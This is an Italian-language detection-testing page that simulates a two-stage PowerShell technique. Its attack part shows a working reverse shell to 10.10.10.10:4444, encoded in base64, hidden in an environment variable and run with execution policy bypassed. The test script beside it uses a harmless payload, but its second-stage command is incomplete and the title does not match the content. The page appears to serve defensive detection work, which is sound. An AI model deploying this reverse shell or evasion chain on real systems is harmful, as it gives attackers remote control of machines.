Il Malvagio Sfondo MSI Ritorna

Esecuzione Simulazione

Prerequisito: Il Controllo di Prevolo di Telemetria & Baseline deve essere stato superato.

Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica del nemico (TTP) progettata per attivare la regola di rilevamento. I comandi e il racconto DEVONO riflettere direttamente i TTP identificati e mirano a generare la telemetria esatta prevista dalla logica di rilevamento.

• Narrativa & Comandi di Attacco:
  L’attaccante inietta inizialmente un payload PowerShell codificato base64 in una variabile di ambiente a livello di processo chiamata INTERNAL_DB_CACHE. Questo payload, una volta decodificato, avvia una shell inversa. L’attaccante invoca quindi un secondo processo PowerShell che legge la variabile e lo esegue tramite ScriptBlock::Create, tenendo così il comando malevolo fuori dalla linea di comando immediata. Questo approccio “vivi della terra” evita il rilevamento delle firme statiche e sfrutta il modello in due fasi che la regola è progettata per catturare.

  1. Fase 1 – Codifica il payload e memorizzalo nella variabile env

     $payload = '$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
     $enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload))
     [Environment]::SetEnvironmentVariable("INTERNAL_DB_CACHE", $enc, "Process")

  2. Fase 2 – Esegui il payload codificato dalla variabile env

     powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command [ScriptBlock]::Create([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($env:INTERNAL_DB_CACHE)))

• Script di Test di Regressione: Lo script di seguito automatizza i due passaggi, cattura i timestamp per la correlazione e inserisce una breve pausa per consentire al primo processo di finire prima che inizi il secondo.

  # ----------------------------------------------
  # Simulazione PowerShell di payload codificato con variabile env
  # ----------------------------------------------
  
  # Passaggio 1 – Codifica un payload di shell inversa innocuo (sostituire con il tuo indirizzo C2)
  $payload = '$Sleep = 5; Start-Sleep -Seconds $Sleep'   # Piccolo payload benigno per test sicuri
  $enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload))
  [Environment]::SetEnvironmentVariable("INTERNAL_DB_CACHE", $enc, "Process")
  Write-Host "[*] Variabile di ambiente INTERNAL_DB_CACHE impostata."
  
  # Breve pausa per garantire che il primo comando sia registrato
  Start-Sleep -Seconds 2
  
  # Passaggio 2 – Esegui il payload dalla variabile
  powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command `
  Write-Host "[*] Esecuzione di payload innescata."

• Comandi di Pulizia: Rimuovere la variabile di ambiente temporanea e terminare eventuali processi rimanenti creati durante il test.

  # Rimuovere la variabile di ambiente di test
  [Environment]::SetEnvironmentVariable("INTERNAL_DB_CACHE", $null, "Process")
  Write-Host "[*] PULIZIA – INTERNAL_DB_CACHE rimosso."
  
  # Assicurarsi che non rimangano istanze orfane di powershell.exe (escludere la sessione corrente)
  Get-Process -Name "powershell" | Where-Object {$_.Id -ne $PID} | Stop-Process -Force
  Write-Host "[*] PULIZIA – processi Powershell orfani terminati."